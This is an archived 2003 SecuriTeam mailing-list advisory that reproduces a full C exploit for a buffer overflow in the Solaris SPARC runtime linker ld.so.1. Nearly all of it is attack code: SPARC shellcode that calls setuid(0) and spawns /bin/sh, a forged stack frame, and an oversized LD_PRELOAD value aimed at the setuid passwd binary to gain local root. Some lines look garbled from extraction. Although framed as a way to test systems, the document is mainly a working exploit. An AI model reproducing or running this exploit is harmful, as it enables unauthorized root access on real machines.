

# [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0123.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 10/28/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 28 Oct 2003 14:44:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

---

## SUMMARY

As we reported in our previous article <http://www.securiteam.com/unixfocus/5CP0X0AAKI.html>> Buffer Overflow in Sun Solaris Runtime Linker, a vulnerability in Sun's runtime linker allows local attackers to gain elevated privileges. The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

```
/* #####  
* ## ld.so.1 exploit (SPARC) ##  
* #####  
* [coded by: osker178 (bjr213 psu.edu)]  
*  
* Alright, so this exploits a fairly standard buffer  
* overflow in the default Solaris runtime linker (ld.so.1)  
* (discovery by Jouko Pynnonen)  
* Only real deviation here from the standard overflow  
* and return into libc scenario is that at the time that
```

## Securiteam: [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

```
* overflow occurs, the libc object file has not been loaded;  
* so it's not really possible to return into a libc function.  
* However, this poses no real problem to us, as ld.so.1  
* provides it's own __cpy() functions which we can use to  
* move our shellcode into an appropriate place in memory.  
*  
* Some things to note:  
*  
* – obviously some of the pre-defined addresses will have to be changed  
*  
* – 1124–1128 bytes into our buffer provided to LD_PRELOAD we will end up  
* overwriting a char *; this is actually very helpful for locating where  
* the rest of our information is stored in memory, as this pointer  
* will be used to display another error message, showing us what string  
* is stored at the address we overwrote this pointer with.  
*  
* – ... eh, that's enough, just look at the code to figure the rest out  
*/
```

```
#include <dlfcn.h>  
#include <stdio.h>  
#include <signal.h>  
#include <setjmp.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/mman.h>  
#include <link.h>
```

```
char SPARC_sc[] =  
/* setuid(0) */  
"\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */  
"\x82\x10\x20\x17" /* mov 23,%g1 | 23 == SYS_setuid()*/  
"\x91\xd0\x20\x08" /* ta 8 */  
  
/* setreuid(0,0) – for me at least, these both had to be called */  
"\x92\x1a\x40\x09" /* xor %o1,%o1,%o1 */  
"\x82\x10\x20\xca" /* mov 202, %g1 | 202 == SYS_setreuid()*/  
"\x91\xd0\x20\x08" /* ta 8 */  
  
/* exec(/bin/sh) */  
"\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */  
"\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */  
"\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */  
"\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */  
"\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */  
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */  
"\xe0\x3b\xbf\xf0" /* std %l0, [%sp – 16] */  
"\xd0\x23\xbf\xf8" /* st %o0, [%sp – 8] */  
"\xc0\x23\xbfxfc" /* st %g0, [%sp – 4] */  
"\x82\x10\x20\x3b" /* mov 59, %g1 | 59 = SYS_execve() */  
"\x91\xd0\x20\x08" /* ta 8 */
```

## Securiteam: [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

```
;  
  
const long FRAME_ADDR = 0xffbee938;  
const long SHELLCODE_ADDR = 0xffbef17a;  
const long DESTCPY_ADDR = 0xff3e7118;  
const long DEF_OFFSET = 0x20;  
  
const int ENV_STR_SIZE = 2048;  
const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */  
const int DEF_FPAD_LEN = 4;  
const int REC_BUF_SIZE = 1456;  
  
char * get_ld_env(int buf_len, long offset);  
char * get_fake_frame(long offset);  
char * get_envs_str(char fill);  
unsigned long get_strcpy_addr();  
  
/* *****  
 * ***** MAIN *****  
 * ***** */  
  
int main(int argc, char **argv)  
{  
  
    char *prog[3];  
    char *envs[7];  
    char opt;  
    int buf_size = -1;  
    int fpad_len = -1;  
    long offset = -1;  
  
    char *ld_pre_env = 0x0;  
    char *fake_frame = 0x0;  
  
    /* padding of sorts */  
    char *envs_str1 = 0x0;  
    char *envs_str2 = 0x0;  
    char *fpad_buf = 0x0;  
  
    // -----  
  
    while((opt = getopt(argc, argv, "s:o:p:")) != -1)  
    {  
        switch(opt) {  
            case 's':  
                if(!optarg) {  
                    printf("-s needs size argument\n");  
                    exit(0);  
                }  
            }  
        }  
    }  
}
```

## Securiteam: [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

```
else
    buf_size = atoi(optarg);
break;

case 'o':
    if(!optarg) {
        printf("-o needs offset argument\n");
        exit(0);
    }
    else
        offset = atol(optarg);
break;

case 'p':
    if(!optarg) {
        printf("-p needs pad length argument\n");
        exit(0);
    }
    else {
        fpad_len = atoi(optarg);
        if(fpad_len < 0)
            fpad_len = 0;
    }
break;

default:
    printf("Usage: %s [-s size] [-o offset] [-p fpad_len]\n", argv[0]);
    exit(0);

}

argc -= optind;
argv += optind;
}

printf("\n#####\n");
printf("# ld.so.1 LD_PRELOAD (SPARC) exploit #\n");
printf("# coded by: osker178 (bjr213@psu.edu) #\n");
printf("# downloaded on www.k-otiK.com #\n");
printf("#####\n");

if(buf_size == -1)
{
    printf("Using default/recommended buffer size of %d\n", REC_BUF_SIZE);
    buf_size = REC_BUF_SIZE;
}
else if(buf_size % 4)
{
    buf_size = buf_size + (4 - (buf_size%4));
    printf("WARNING: Rounding BUF_SIZE up to 0x%x (%d)\n", buf_size,
buf_size);
```

```

}

if(offset == -1)
{
    printf("Using default OFFSET of 0x%x (%d)\n", DEF_OFFSET, DEF_OFFSET);
    offset = DEF_OFFSET;
}
else if((FRAME_ADDR + offset) % 8)
{
    offset = offset + (8 - (offset%8));
    printf("WARNING: Rounding offset up to 0x%x (%d)\n", offset, offset);
    printf("(otherwise FRAME_ADDR would not be alligned correctly)\n");
}

if(fpad_len == -1)
{
    printf("Using default FPAD_LEN of 0x%x (%d)\n", DEF_FPAD_LEN,
DEF_FPAD_LEN);
    fpad_len = DEF_FPAD_LEN;
}

// ----- //

ld_pre_env = get_ld_env(buf_size, offset);
if(!ld_pre_env)
    exit(0);

fake_frame = get_fake_frame(offset);
if(!fake_frame)
    exit(0);

envs_str1 = get_envs_str('1');
if(!envs_str1)
    exit(0);

envs_str2 = get_envs_str('2');
if(!envs_str2)
    exit(0);

// ----- //

fpad_buf = (char *)malloc(fpad_len+1);
if(!fpad_buf)
{
    perror("malloc");
    exit(0);
}
memset(fpad_buf, 'F', fpad_len);
fpad_buf[fpad_len] = '\0';

```

## Securiteam: [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

```
envs[0] = fpad_buf;
envs[1] = fake_frame;
envs[2] = envs_str1;
envs[3] = SPARC_sc;
envs[4] = envs_str2;
envs[5] = ld_pre_env;
envs[6] = NULL;

prog[0] = "/usr/bin/passwd";
prog[1] = "passwd";
prog[2] = NULL;

execve(prog[0], prog, envs);

perror("execve");

return 0;
}

/* ***** */

/* *****
 * ***** GET_LD_ENV *****
 * ***** */
char * get_ld_env(int buf_len, long offset)
{
    long *lp;
    char *buf;
    char *ld_pre_env;
    unsigned long strcpy_ret;

    strcpy_ret = get_strcpy_addr();
    if(!strcpy_ret)
        return 0;
    else
        printf("strcpy found at [0x%x]\n\n", strcpy_ret);

    /*
     * buf_size --> main requested length (rounded up to nearest factor of
     4)
     * +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will
     overwrite
     * +1 --> for the "/" character that must be appended in order to pass
     the strchr()
     * and strchr() tests (see <load_one>: from objdump -d
     /usr/lib/ld.so.1)
     * +1 --> '\0' obviously
     */
    buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1);
```

## Securiteam: [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

```
if(!buf)
{
    perror("malloc");
    return 0;
}

memset(buf, 'A', buf_len);
buf[0] = '/';

/* this is the location of the (char *) in ld.so.1 we are overwriting
 * -> use this to find the address of the environment
 * arguments (whatever value we write at this address
 * is what will be displayed in an error message
 * from ld.so.1 after the error message generated from
 * our insecure path provided in LD_PRELOAD)
 */
lp = (long*)(buf + 1124);
*lp++ = FRAME_ADDR + offset;

lp = (long*)(buf + buf_len);

/* %l regs – as far as we're concerned, these
 * values don't matter (i've never
 * had a problem with them)
 */
*lp++ = 0x61616161; /* %l0 */
*lp++ = 0x62626262; /* %l1 */
*lp++ = 0x63636363; /* %l2 */
*lp++ = 0x64646464; /* %l3 */
*lp++ = 0x65656565; /* %l4 */
*lp++ = 0x66666666; /* %l5 */
*lp++ = 0x67676767; /* %l6 */
*lp++ = 0x68686868; /* %l7 */

/* %i regs */
*lp++ = 0x69696969; /* %i0 */
*lp++ = 0x70707070; /* %i1 */
*lp++ = 0x71717171; /* %i2 */
*lp++ = 0x72727272; /* %i3 */
*lp++ = 0x73737373; /* %i4 */
*lp++ = 0x74747474; /* %i5 */
*lp++ = FRAME_ADDR + offset; /* our fake frame/%i6 */
*lp = strcpy_ret; /* ret address/%i7 */
strcat(buf, "");

/* put together our LD_PRELOAD buffer */
ld_pre_env = (char *)malloc(strlen(buf) + strlen("LD_PRELOAD=") + 1);
if(!ld_pre_env)
{
    perror("malloc");
    return 0;
}
```

## Securiteam: [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

```
}

strcpy(ld_pre_env, "LD_PRELOAD=");
strcat(ld_pre_env + strlen(ld_pre_env), buf);

free(buf);

return ld_pre_env;
}

/* *****
 * ***** GET_FAKE_FRAME *****
 * ***** */
char * get_fake_frame(long offset)
{
    long destcpy_addr;
    long *lp;
    char *frame = (char *)malloc(FRAME_SIZE + 1);

    if(!frame)
    {
        perror("malloc");
        return 0;
    }

    /* this worked for me; may have to adjust though
     * - can easily find a good place by using gdb and pmap */
    destcpy_addr = get_strcpy_addr() + 0x17000;

    lp = (long *)frame;

    /* %l regs - values don't matter */
    *lp++ = 0x42454746; /* %l0 <- == "BEGF", use this to help locate frame's
address */
    *lp++ = 0xdeaddead; /* %l1 */
    *lp++ = 0xdeaddead; /* %l2 */
    *lp++ = 0xdeaddead; /* %l3 */
    *lp++ = 0xdeaddead; /* %l4 */
    *lp++ = 0xdeaddead; /* %l5 */
    *lp++ = 0xdeaddead; /* %l6 */
    *lp++ = 0xdeaddead; /* %l7 */

    /* %i regs */
    *lp++ = destcpy_addr; /* %i0 - DESTINATION ADDRESS for __cpy() */
    *lp++ = (SHELLCODE_ADDR + offset); /* %i1 - SOURCE ADDRESS for __cpy()
*/
    *lp++ = 0xdeaddead; /* %i2 - size*/
    *lp++ = 0xdeaddead; /* %i3 */
    *lp++ = 0xdeaddead; /* %i4 */
    *lp++ = 0xdeaddead; /* %i5 */
    *lp++ = destcpy_addr+0x200; /* saved frame pointer/%i6(sp) */
}
```

## Securiteam: [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

```
*lp++ = destcpy_addr-0x8; /* %i7 */
*lp++ = 0x0;

return frame;
}

/* *****
 * ***** GET_ENVS_STR *****
 * ***** */
char * get_envs_str(char fill)
{
    char *envs_str = (char *)malloc(ENV_STR_SIZE + 1);

    if(!envs_str)
    {
        perror("malloc");
        return 0;
    }

    memset(envs_str, fill, ENV_STR_SIZE);
    envs_str[0] = 'b'; //\
    envs_str[1] = 'e'; // ---- help find where we are in memory/in relation
to other env variables */
    envs_str[2] = 'g'; // /
    envs_str[ENV_STR_SIZE] = '\0';

    return envs_str;
}

/* *****
 * ***** GET_STRCPY_ADDR *****
 * ***** */
unsigned long get_strcpy_addr()
{
    void *handle;
    Link_map *lm;
    unsigned long addr;

    if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL)
    {
        perror("dlmopen");
        return 0;
    }

    if((dlnfo(handle, RTLD_DI_LINKMAP, &lm)) == -1)
    {
        perror("dlnfo");
        return 0;
    }
}
```

## Securiteam: [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)

```
if((addr = (unsigned long)dlsym(handle, "strcpy")) == NULL)
{
    perror("dlsym");
    return 0;
}

/* -4 to skip save and use
 * our fake frame instead */
addr -= 4;

/* make sure addr doesn't contain any 0x00 bytes,
 * or '/' characters (as this is where strcpy will
 * cutoff in ld.so.1) */
if( !(addr & 0xFF) || !(addr & 0xFF00) ||
    !(addr & 0xFF0000) || !(addr & 0xFF000000) ||
    ((addr & 0xFF) == 0x2f) ||
    ((addr & 0xFF00) == 0x2f) ||
    ((addr & 0xFF0000) == 0x2f) ||
    ((addr & 0xFF000000) == 0x2f) )
{
    printf("ERROR: strcpy address (0x%x) contains unusable bytes
    somewhere.\n", addr);
    printf(" -> consider using strncpy, memcpy, or another similar
    substitute instead.\n");
    return 0;
}

return addr;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:bjr213@psu.edu>> osker178.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.